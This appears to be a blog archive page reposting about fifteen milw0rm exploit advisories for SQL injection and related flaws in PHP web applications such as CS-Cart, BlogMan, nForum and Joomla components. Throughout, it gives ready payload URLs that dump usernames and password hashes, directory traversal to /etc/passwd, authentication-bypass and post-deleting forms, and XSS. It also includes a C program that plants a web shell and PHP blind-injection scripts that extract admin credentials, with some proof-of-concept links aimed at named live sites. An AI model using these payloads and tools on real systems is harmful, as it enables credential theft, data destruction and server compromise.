Showing posts with label sql injection. Show all posts
Showing posts with label sql injection. Show all posts

PHP-Fusion Mod Book Panel (bookid) SQL Injection Vulnerability

PHP-Fusion Mod - Book Panel Remote SQL Injection Vulnerability

Author: elusiven from Poland
Contact: elusivenpl@gmail.com
Greetings: Fusi0n Group

Exploit:
http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users--
http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_password,4,5,6+from+fusion_users--

# milw0rm

phpCommunity 2.1.8 (SQL/DT/XSS) Multiple Vulnerabilities

Application: phpCommunity 2
Version: 2.1.8
Website: http://sourceforge.net/projects/phpcommunity2/

Bugs: [A] Multiple SQL Injection
[B] Directory Traversal
[C] Reflected XSS

Exploitation: Remote

Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs

This web application presents several vulnerabilities
which can be exploited to obtain reserved information.
The following are examples of vulnerabilities
discovered in this application.


- [A] Multiple SQL Injection

Requisites: magic_quotes_gpc = off
File affected: module/forum/class_forum.php
module/forum/class_search.php

This bug allows a guest to view username and
password of a registered user.


- [B] Directory Traversal

Requisites: none
File affected: module/admin/files/show_file.php,
module/admin/files/show_source.php

This bug allows a guest to read arbitrary files and
directory on the web server.


- [C] Reflected XSS

Requisites: none
File affected: templates/1/login.php

Code


- [A] Multiple SQL Injection

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1' UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1' UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25" UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23


- [B] Directory Traversal

http://www.site.com/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd

http://www.site.com/path/module/admin/files/show_source.php?path=/etc


- [C] Reflected XSS

http://www.site.com/path/templates/1/login.php?msg= script alert('XSS'); /script

Fix

No fix.

# milw0rm

CS-Cart 2.0.0 Beta 3 (product_id) SQL Injection Vulnerability

CS-Cart 2.0.0 Beta 3 (dispatch) SQL Injection Vulnerability
Provider: www.cs-cart.com
Discovered by netsoul
Greetz: m1cr0n, IvanKalet, blackfalcon, str0ke
Contact: netsoul2[at]gmail.com
ALTO PARANA - PARAGUAY
Ñane mba'e teete

Exploit:

http://cs-cart cms/[path]/index.php?dispatch=products.view&product_id=289' UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,concat(user_login,0x3a,password),0,0 from cscart_users/*

# milw0rm

PHPRecipeBook 2.24 (base_id) Remote SQL Injection Vulnerability

PHPRecipeBook 2.24 (_id)Remort SQL Injection Vulnerability

Discovered By d3b4g
script: http://phprecipebook.sourceforge.net/demo/phprecipebook/
Greetz : str0ke | Inerd | & friends
Follow me on twitter www.twitter.com/schaba


About:

PHPRecipeBook is a Web-based cookbook with the
ability to create shopping lists from recipes selected.
The lists can be saved and later reloaded and edited.
The shopping list also attempts to combine similar items
so that duplication does not occur.



/* start

0x1

Proof of concept
-------------------------------------

Exploit:http:localhost.com[path]index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--

Demo:1 http://phprecipebook.sourceforge.net/demo/phprecipebook/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--

Demo:2 http://recipes.casetaintor.com/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--


/* end

From Tiny Little island of Maldivies

# milw0rm

PHP Director <= 0.21 (sql into outfile) eval() Injection Exploit

#include
#include
#include
#include
#include
#include

/* Dork "Powered by PHP Director 0.2"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| PHP Director 0.2.1 (sql into outfile) eval() Injection Exploit |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

{Exploit}-> index.php?cat=%27+UNION+SELECT+1,'lol',3,4,5,6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+'/var/www/ex.php'/*
{PHP.ini}-> Magic Quotes off
{Written}-> by Juri Gianni aka yeat - staker[at]hotmail[dot]it
{WhereIs}-> http://sourceforge.net/projects/phpdirector/
{Compile}-> gcc -o exploit exploit.c


{Details}-> index.php (line 56-58)

56. }elseif (isset($_GET["cat"])) {
57. $cat = $_GET["cat"];
58. $_query = sprintf("SELECT SQL_CALC_FOUND_ROWS * FROM pp_files WHERE `category` = '$cat etc..)

{Bug}-> $cat variable is not checked so we have a sql injection
{Fix}-> $cat = mysql_real_escape_string($_GET['cat']);



yeat@lulz:~/Desktop$ gcc -o exploit exploit.c
yeat@lulz:~/Desktop$ ./exploit localhost /cms /var/www/shell.php
Exploit successful..shell: /var/www/shell.php

*/



#define GET "GET %s/index.php?cat=%s HTTP/1.1\r\n" \
"Host: %s\r\n" \
"User-Agent: Links (2.1pre26; Linux 2.6.19-gentoo-r5 x86_64; x)\r\n" \
"Connection: close\r\n\r\n"

#define Exec "'+UNION+SELECT+1,2,3,4,''"\
",6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+'%s'"


char *getHost (char *host)
{
struct hostent *hp;
struct in_addr **y;

hp = gethostbyname(host);
y = (struct in_addr **)hp->h_addr_list;

return inet_ntoa(**y);
}


int main (int argc,char **argv)
{
int server,leak;
char data[1024],html[1024];
char packet[500],loadsf[500];

struct sockaddr_in addr;

if (argc < 3) {
printf("Usage: %s host path file\n",argv[0]);
printf("RunEx: %s localhost /cms /var/www/shell.php\n",argv[0]);
exit(0);
}

server = socket(AF_INET,SOCK_STREAM,0);

addr.sin_family = AF_INET;
addr.sin_port = htons((int)80);
addr.sin_addr.s_addr = inet_addr(getHost(argv[1]));

leak = connect(server,(struct sockaddr*)&addr,sizeof(addr));

if (leak < 0) {
printf("connection refused..try again\n");
exit(0);
}

snprintf(loadsf,sizeof(loadsf),Exec,argv[3]);
strncat(loadsf,"%23",sizeof(loadsf));
snprintf(packet,sizeof(packet),GET,argv[2],loadsf,argv[1]);

if (send(server,packet,sizeof(packet),0) < 0) {
printf("data sent error..\n");
}

while(recv(server,html,sizeof(html),0) > 0)
{
if (strstr(html,"MySQL") || strstr(html,"mysql_fetch_array")) {
printf("Exploit unsuccessful..\n"); break;
}
else {
printf("Exploit successful..shell: %s\n",argv[3]); break;
}
}

return 0;
}

#milw0rm

nForum 1.5 Multiple Remote SQL Injection Vulnerabilities

Application: nForum
Version: 1.5
Website: http://sourceforge.net/projects/nforum/

Bugs: [A] Multiple SQL Injection

Exploitation: Remote

Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs

- [A] Multiple SQL Injection

Requisites: magic_quotes_gpc = off
File affected: showtheme.php, userinfo.php

These bugs allows a guest to view username and
the password of a registered user.

[+] Code

- [A] Multiple SQL Injection

http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23

http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23

Fix

No fix.

# milw0rm

TinX CMS 3.x SQL Injection Vulnerability

TinX CMS SQL Injection vulnerability

Affected Software

TinX CMS
Versions 3.x prior to 3.5.1

Product Link:
http://sourceforge.net/project/showfiles.php?group_id=133415


Severity Rating

Severity: High
Impact: SQL Injection
Attack Vector: Remote

CVSS v2:
Base Score: 7.5
Temporal Score: 5.9
Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P/E:P/RL:O/RC:C)

CVE: CVE-2009-0825


Software Description

TinX CMS is a content management system (CMS) software, usually implemented as a Web application, for creating and managing HTML content. It is used to manage and control a large, dynamic collection of Web material (HTML documents and their associated images).


Vulnerability Description

Positive Technologies Research Team has discovered a SQL Injection vulnerability in TinX CMS.

User input passed to the "id" parameter is not properly sanitized. This can allows remote attackers to execute arbitrary SQL commands via the "id" parameter.

Example:
http://[server]/system/rss.php?id=1'SQL-code

SQL injection is an attack technique that can be used to extract, modify, add or delete information from database servers that are used by vulnerable web applications. SQL injection vulnerabilities are caused by an unsecured programming technique that allows client-supplied data to interfere with the syntax of SQL queries. SQL is a programming language that is used by applications to communicate with database systems.


Solution

Update to version 3.5.1.


Disclosure Timeline

04/03/2009 - Vendor is notified
04/03/2009 - Vendor response
04/03/2009 - Requested status update from vendor
05/03/2009 - Vendor releases fixed version and details
06/03/2009 - Public disclosure


Credits

This vulnerability was discovered by Dmitriy Evteev (Positive Technologies Research Team) using professional network security scanner MaxPatrol.


References

http://en.securitylab.ru/lab/PT-2009-13
http://www.ptsecurity.ru/advisory.asp

Complete list of vulnerability reports published by Positive Technologies Research Team:

http://en.securitylab.ru/lab/
http://www.ptsecurity.ru/advisory.asp

nForum 1.5 Multiple SQL Injection

Application: nForum
Version: 1.5
Website: http://sourceforge.net/projects/nforum/

Bugs: [A] Multiple SQL Injection

Exploitation: Remote
Date: 06 Mar 2009

Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs

- [A] Multiple SQL Injection

Requisites: magic_quotes_gpc = off
File affected: showtheme.php, userinfo.php

These bugs allows a guest to view username and
the password of a registered user.

Code

- [A] Multiple SQL Injection

http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT
1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23

http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT
1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23

Fix
No fix.

isiAJAX v1 (praises.php id) Remote SQL Injection Vulnerability

Script site: http://isiajax.sourceforge.net/
Download: http://sourceforge.net/project/showfiles.php?group_id=169754

[SQL] Vuln: http://site.com/isiAJAX/ejemplo/paises.php?id=-1+UNION+SELECT+1,USER()--
http://isiajax.sourceforge.net/demos/practicos/busqueda/paises.php?id=-1+UNION+SELECT+1,CONCAT_WS(char(58),id,nombre,apellidos,id_pais,edad,telefono,email)+from+usuarios--

Bug: ./isiAJAX/ejemplo/paises.php (linez: 10-14)

$paise = mysql_query("SELECT id, nombre FROM pais WHERE id_continente=$_GET[id]", $conexion); //
while ($paises = mysql_fetch_row($paise)) { // SQL inj.
?> //
}
Greetz: D3m0n_DE * str0ke * and otherz..

[ dun / 2009 ]

# milw0rm

Blue Eye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability

BlueEye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability
found by ka0x

Download: http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar
need magic_quotes_gpc = Off

- Vuln code:

10: if (!empty($_COOKIE["BlueEyeCMS_login"])) { // --> Only??
11: $c_login = $_COOKIE["BlueEyeCMS_login"]; // --> Not clean??
12: $c_pass = $_COOKIE["BlueEyeCMS_pass"];
13: $c_key = $_COOKIE["BlueEyeCMS_key"];
....
16: $table = $db_prefix."users";
17: $query = mysql_query("SELECT id FROM `$table` WHERE `user` = '$c_login' AND `password` = '$c_pass' AND `key` = '$c_key'"); // -> VULN
18: $rows = mysql_num_rows($query); -> num rows of the query
19: $result = mysql_fetch_array($query);
....
21: if ($rows == 1) { // -> check if exists one row..
22: $logged = $c_login;
23: $logged_id = $result['id'];
24: }
....
204: img src="http://www.blogger.com/%5C" / Logged as: ".$logged." (ID: ".$logged_id.")

Proof Of Concept:
javascript:document.cookie = "BlueEyeCMS_login=' UNION SELECT concat(user,0x3A,password) FROM blueeye_users WHERE id=1/*; path=/";

# milw0rm

Joomla com_ijoomla_archive Blind SQL Injection Exploit

?php

Joomla com_ijoomla_archive Blind SQL Injection Exploit

AUTHOR : Mountassif Moad
DATE : 5 mars 2009

APPLICATION : Joomla com_ijoomla_archive
DORK : inurl:"com_ijoomla_archive"

*/


ini_set("max_execution_time",0);
print_r('

com_ijoomla_archiv Blind SQL Injection Exploit
php '.$argv[0].' http://www.site.com/ real id
Demo :
php '.$argv[0].' http://thecatholicspirit.com/ 17


');
if ($argc > 1) {
$url = $argv[1];
if ($argc < userid =" 1;" userid =" $argv[2];" r =" strlen(file_get_contents($url." option="com_ijoomla_archive&task="archive&search_archive="1&act="search&catid="" 1="1" w =" strlen(file_get_contents($url." option="com_ijoomla_archive&task="archive&search_archive="1&act="search&catid="" 1="0" t =" abs((100-($w/$r*100)));" j =" 1;" i =" 46;" i="$i+2)" i ="="" i =" 98;" laenge =" strlen(file_get_contents($url." option="com_ijoomla_archive&task="archive&search_archive="1&act="search&catid=""> $t-1) {
$laenge = strlen(file_get_contents($url."/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&catid=".$userid."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1).""));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
} else {
echo "\nExploiting failed: find another site\n";
}
?>

# milw0rm

CelerBB 0.0.2 Multiple Remote Vulnerabilities

Application: CelerBB
Version: 0.0.2
Website: http://celerbb.sourceforge.net/

Bugs: [A] Multiple SQL Injection
[B] Information Disclosure
[C] Authenticaion Bypass

Exploitation: Remote

Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs


- [A] Multiple SQL Injection

Requisites: magic_quotes_gpc = off
File affected: viewforum.php, viewtopic.php

This bug allows a guest to view username and
password list.


- [B] Information Disclosure
Requisites: none
File affected: showme.php

This bug allows a guest to view reserved
information of any user.


- [C] Authentication Bypass

Requisites: magic_quotes_gpc = off
File affected: login.php

This bug allows a guest to bypass authentication.

Code


- [A] Multiple SQL Injection

http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23

http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23


- [B] Information Disclosure

http://www.site.com/path/showme.php?user=admin


- [C] Authentication Bypass

html
head
title CelerBB 0.0.2 Authentication Bypass Exploit /title
/head
body
form action="login.php" method="POST"
input type="hidden" name="Username" value="admin'#"
input type="submit" value="Exploit"
/form
/body
/html

Fix

No fix.

# milw0rm

Jogjacamp JProfile Gold (id_news) Remote SQL Injection Vulnerability

Vendor : http://jogjacamp.com

bugs : /index.php?action=news.detail&id_news=

exploit : union select concat(username,0x3a,password),2,3 from phpss_account--

POC : http://www.titiandamai.org/index.php?action=news.detail&id_news=6%20union%20select%20concat(username,0x3a,password),2,3%20from%20phpss_account%20--

http://www.ligaindonesia.com/index.php?action=news.detail&id_news=1976%20%20union%20select%20concat(username,0x3a,password),2,3%20from%20phpss_account%20--

http://hermawan.net/index.php?action=news.detail&id_news=42%20union%20select%20concat(username,0x3a,password),2,3%20from%20phpss_account%20--


greetz : Allah
s3t4n and Paman aka Jack-
my family
and all Mainhack BrotherHood
jupe crew jangan ngegame melulu :p

# milw0rm

BlindBlog 1.3.1 (SQL/AB/LFI) Multiple Remote Vulnerabilities

Application: BlindBlog
Version: 1.3.1
Website: http://sourceforge.net/projects/cbblog/

Bugs:
[A] SQL Injection
[B] Authentication Bypass
[C] Local File Inclusion
Exploitation: Remote


Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs

- [A] SQL Injection
Requisites: magic_quotes_gpc = off
File affected: comment.php

All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.

$id = (isset($_GET['id']) && $_GET['id'] !='') ? $_GET['id'] : getlastid();

$SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
$resulted = $db->query($SQL, $querys);
while ($result = mysql_fetch_assoc($resulted))
$comments[] = $result;


- [B] Authentication Bypass

Requisites: magic_quotes_gpc = off
File affected: admin.login.php

$username = $_POST['username'];
$password = md5($_POST['password']);
include('./db_config.php');
$db = new db_stuff;
$db->connect();
$result = $db->query("SELECT * FROM `cblog_users` WHERE `username` =
'$username'", $querys);
if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
{
echo "Incorrect username";
exit;
}
$result = mysql_fetch_assoc($result);
if ($result['password'] !== $password)
{
echo 'Incorrect Password';
exit;
}


- [C] Local File Inclusion

Requisites: none
File affected: admin.php

This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.

...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
$loc = 'admin.'.$_GET['act'].'.php';
include('./'.$loc);
}
...


Code

- [A] SQL Injection

http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23


- [B] Authentication Bypass

html
head
title BlindBlog 1.3.1 Authentication Bypass Exploit /title
/head
body
form
action="http://www.site.com/path/admin/admin.login.php?go=1"
method="POST"
input type="hidden" name="username" value="-1'
UNION ALL SELECT
1,'admin',MD5('expl')#"
input type="hidden" name="password" value="expl"
input type="submit" value="Exploit"
/form
/body
/html

- [C] Local File Inclusion

Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php

http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd

# milw0rm

RitsBlog 0.4.2 (AB/XSS) Multiple Remote Vulnerabilities

[+] Application: RitsBlog
[+] Version: 0.4.2
[+] Website: http://sourceforge.net/projects/ritsblog/

[+] Bugs: [A] SQL Injection
[B] XSS Persistent

[+] Exploitation: Remote
[+] Date: 02 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


[+] Menu

- [1] Bugs
- [2] Code
- [3] Fix

[+] Bugs

- [A] SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: ritsBlogAdmin.class.php

This blog is entirely vulnerable to SQL Injection.
The following is the vulnerable query that can be
used to bypass authentication.

In jobs.php:

if ($_GET[j] == "login"){
if ($blog -> login($_GET[p])){
$_SESSION[loggedin] = "ok";
$_SESSION[userID] = $blog -> userID;
echo "Password found. Loging in...";
....

In ritsBlogAdmin.class.php:

function login($password){
global $db;
$sql = "select * from users where secretWord = '$password'";
...
}

- [B] XSS Persistent

[-] Requisites: none
[-] File affected: ritsBlogAdmin.class.php

In jobs.php:

if ($_POST[j] == "addComment"){
echo $blog -> addComment($_POST[id], $_POST[name],
$_POST[body]);
}

In ritsBlogAdmin.class.php

function addComment($id, $name, $body){
global $db;
$sql = "INSERT INTO comments (name, postID, date, text)
VALUES('" . addslashes($name) . "','" . $id . "',NOW(),'" .
addslashes($body) . "')";
...
}

[+] Code

- [A] SQL Injection

http://www.site.com/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1

- [B] XSS Persistent

It is possible using forms in the index.php or
to send over POST method the following values:

?j=addComment&id=54&name=myname&body= script alert('XSS');/script

or

?j=addComment&id=54&name= script alert('XSS'); /script &body=body

[+] Fix

No fix.

-- Salvatore "drosophila" Fresta CWNP444351

# milw0rm

Joomla com_digistore (pid) Blind SQL Injection Exploit

php
ini_set("max_execution_time",0);
print_r('

Joomla com_digistore (pid) Blind SQL Injection Exploit

=== Cyb3R-1sT ===
cyb3r-1st [at] hormail.com
inject0r5 t3am

: Usage :
php file.php "http://site/index.php?option=com_digistore&task=show_product&pid=1"

: Sp.GrEetZ :
[ All friends ] & [ www.7rs.org ] & [ www.tryag.com]


');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>

# milw0rm

EZ-Blog 1b Delete All Posts / SQL Injection Vulnerabilities

Application: EZ-Blog
http://sourceforge.net/projects/ez-blog/
Version: Beta 1
Bug: * Multiple SQL Injection
Exploitation: Remote
Date: 1 Mar 2009
Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
e-mail: drosophilaxxx@gmail.com

- BUGS

SQL Injection:

Requisites: magic_quotes_gpc = off

This is a crazy application because it not
require authentication for posting, deleting,
etc. and it is entirely vulnerable to SQL
Injection, as follows:

http://site/path/public/view.php?storyid=-1' UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10%23

There aren't hight reserved information on the
database, but it is possible to cause inconvenience.
The following injection allow to delete all
posts:

form action="http://site/path/admin/remove.php" method="POST"
input type="hidden" name="kill" value="1'or'1'='1"
input type="hidden" name="confirm" value="1"
input type="hidden" name="rm" value="true"
input type="submit" value="Exploit"
/form

# milw0rm

BlogMan 0.45 Multiple Remote Vulnerabilities

Application: BlogMan
http://sourceforge.net/projects/blogman/
Version: 0.45
Bug: * Multiple SQL Injection
* Authentication Bypass
* Privilege Escalation
Exploitation: Remote
Date: 1 Mar 2009
Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
e-mail: drosophilaxxx@gmail.com


*************************************************

- BUGS

This blog is entirely vulnerable to SQL Injection.
The following are vulnerable queries that can be used
to obtain reserved information.

#[1] SQL Injection:

Requisites: magic_quotes_gpc = off

File affected: index.php, register.php, viewall.php

The following lines are improperly checked:

/*
if (isset($_COOKIE['blogmanuserid'])) {
$id = $_COOKIE['blogmanuserid'];
$query = "SELECT * FROM user WHERE UserID='".$id."'";
$user = mysql_fetch_array(mysql_query($query)) or die(mysql_error());
echo "

href='edit.php?id=".$id."'>".$user['UserName']."

\n";
*/

Using a cookie editor it is possible to edit that cookie
and manage the query, as follows:

Name: blogmanuserid
Content: -1' UNION ALL SELECT
1,CONCAT(UserName,char(58),UserPassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16
FROM user#
Server: target_server (example: localhost)
Path: /blogman/


#[2] SQL Injection:

Requisites: magic_quotes_gpc = off

File affected: read.php

This bug allows a guest to view the username
and password of a registered user.

http://site/path/read.php?id=-1'UNION ALL SELECT
NULL,2,CONCAT(UserName,char(58),UserPassword),NULL,5,6,7 FROM user%23


#[3] SQL Injection:

Requisites: magic_quotes_gpc = off

File affected: profile.php

This bug allows a guest to view the username
and password of a registered user.

http://site/path/profile.php?id=-1' UNION ALL SELECT
1,CONCAT(UserName,char(58),UserPassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16
FROM user%23


#[1] Authentication Bypass:

Requisites: magic_quotes_gpc = off

File affected: doLogin.php

The following lines are improperly checked:

/*
$un = $_POST['un'];
$pw = $_POST['pw'];

...

$pwHashed = mysql_fetch_array(mysql_query("SELECT PASSWORD('".$pw."')"));
$userRow = mysql_fetch_array(mysql_query("SELECT * FROM user WHERE
UserName='".$un."'"));
if ($userRow['UserPassword'] == $pwHashed[0] &&
$userRow['UserActive'] && !$userRow['UserDisabled']) {
$expires = time() + 3*24*60*60;
setcookie("blogmanuserid", $userRow['UserID'], $expires);
}
*/

Using a SQL Injection bug it is possible to bypass
conditions and to set an arbitrary UserID value.

The following information must be sent using
POST method to doLogin.php

un = ' UNION ALL SELECT
1,NULL,PASSWORD('mypass'),NULL,NULL,NULL,NULL,NULL,NULL,0,1,NULL,NULL,NULL,NULL,NULL#
pw = mypass

The First value is UserID, the third value is the password,
the tenth value is UserDisabled and the eleventh value is
UserActive.


#[2] Authentication Bypass:

Requisites: none

File affected: all

It is possible to bypass the authentication
system by creating a cookie named 'blogmanuserid',
and inserting the value of a registered user id
into the content(sometimes 1 for admin):

Name: blogmanuserid
Content: 1
Server: target_server (example: localhost)
Path: /blogman/


Privilege Escalation:

Requisites: magic_quotes_gpc = off

File affected: admin.php

It is possible to escalate privileges using
a SQL Injection bug through a cookie.

The following lines are improperly checked:

/*
$id = $_COOKIE['blogmanuserid'];
$user = mysql_fetch_array(mysql_query("SELECT * FROM user WHERE
UserID='".$id."'"));
if (!$user['UserCanAdmin']) {
echo "meta equiv="'refresh'" content="'0;index.php'" /head /html";
} else {
...
}
*/

Name: blogmanuserid
Content: -1' UNION ALL SELECT 2,NULL,3,4,5,6,7,8,9,10,11,12,13,14,15,1#
Server: target_server (example: localhost)
Path: /blogman/

The first value is UserID and the last value
is UserCanAdmin.

# milw0rm

Demium CMS 0.2.1B Multiple Vulnerabilities and Exploit

Demium CMS, version 0.2.1 Beta, is prone to multiple remote vulnerabilities, because of insufficient security on it. Let's see them. In this advisory you can find vulnerabilities, afflicted source, and multiple Remote Exploit.


Credits to : Giovanni Buzzin, Osirys
Contact : osirys[at]autistici[dot]org
Website : http://osirys.org
Download : http://www.demium.de/ftp/archive/demium_beta_v.0.2.1.rar


[0x01 - Authority Bypass via Sql Injection]

At first, it's vulnerable to Authority Bypass via Sql Injection. Needs Magic Quotes OFF to work, because CMS dosn't stripslash on POST data.

Vulnerable file is: /[path]/index_admin.php
[CODE]
$username = $_POST['user'];
$pw = md5($_POST['pw']);
$sql = "SELECT * FROM cms_profile WHERE profile_username = '$username' AND profile_password = '$pw' AND profile_aktiv=1;";
$result = mysql_query($sql);
$failure=true;
while($row = mysql_fetch_assoc($result))
{
$failure=false;
setcookie("login_pw", $pw, (time()+(60*60*24*365)));
setcookie("login_user", $username, (time()+(60*60*24*365)));
header("Location: /demium_beta_v.0.2.1//index_admin.php?loading=1");
}
}
[/CODE]

To exploit this vulnerability, and become Administrator, just put this in username form: admin_user' or '1=1
Where admin_user is the real nickname of the Administrator, by default: admin.

[/0x01]

[0x02 - Remote SQL Injection]

Multiple SQL Injection vulnerabilities found on this CMS. I just report the first one that I found. Needs Magic Quotes needs to be OFF because this CMS doesn't stripslash on GET incoming data.

Vulnerable file is: /[path]/tracking.php
[CODE]



' into outfile '/tmp/sh_spawn_ownz.txt

Exploit #1 will produce a GET request to a non existing file, since after the exploit the remote user will be redirected to host/sql_output/.html
Testing this SQL Injection in local I got redirected to this URL: http://localhost/admin:5f4dcc3b5aa765d61d8327deb882cf99/.html , producing the classic:
The requested URL /admin:5f4dcc3b5aa765d61d8327deb882cf99/.html was not found on this server.

Exploit #2 just create a file called "sh_spawn_ownz.txt" with "" as content, yes, a Remote Shell. With LFI vulnerability the remote user will be able to include the created file and executes command.

Exploit provided at the end of the adviosory.


[/0x02]

[0x03 - Remote File Disclosure]

It's also vulnerable to File Disclore, with a GET request a remote user is able to read files content. It's not a file inclusion, but a fread of a local file. Let's see the vulnerable code.

Vulnerable file is: /[path]/urheber.php
[CODE]
", $contents);
echo $contents;
}
// Other code
[/CODE]

$fname comes directly from GET, without been cheeked before. From get we can se it's value, and adding a NULL BYTE a remote user will be able to read the content of the selected file.
Attach example: /[path]/urheber.php?name=../content.php
This request will show /[path]/content.php source code.
Attach example #2 : /[path]/urheber.php?name=../../../../../../../../../../etc/passwd

[/0x03]

[0x04 - Local File Inclusion]

This CMS, it's also affected to Local File Inclusion, a remote user will able to include and execute local file on the server. I coded then a simple exploit to obtain a Remote Command Execution, creating a malicious file on the server, to include it then with the LFI.

Vulnerable file is: /[path]/content.php
[CODE]

[/CODE]

